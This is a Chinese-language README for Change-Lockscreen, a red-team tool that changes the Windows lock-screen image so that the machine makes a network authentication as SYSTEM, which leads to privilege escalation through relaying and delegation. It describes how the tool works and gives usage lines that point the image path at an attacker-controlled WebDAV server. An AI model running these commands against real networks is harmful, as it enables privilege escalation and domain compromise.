Change-Lockscreen

Change-Lockscreen 是一款通过命令行更改 Windows 锁屏图像，以 SYSTEM 身份触发网络身份验证，从而执行权限提升攻击的工具，例如下面链接文章中所描述的攻击方式：

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

功能

默认情况下，Windows 10 具有一项名为 Windows Spotlight 的功能。它会自动下载并显示锁屏图像。

• 当此功能启用时，Change-Lockscreen 将禁用它，并设置参数中指定的图像。
• 否则，如果用户设置了自定义锁屏图像，Change-Lockscreen 将负责对该图像进行备份、触发网络身份验证，然后再次设置该图像。

注意：虽然该工具的 PowerShell 版本运行可靠，但 C# 版本有时无法恢复原始图像。

用法

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

作者

• Simone Salucci
• Daniel López Jiménez

致谢

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/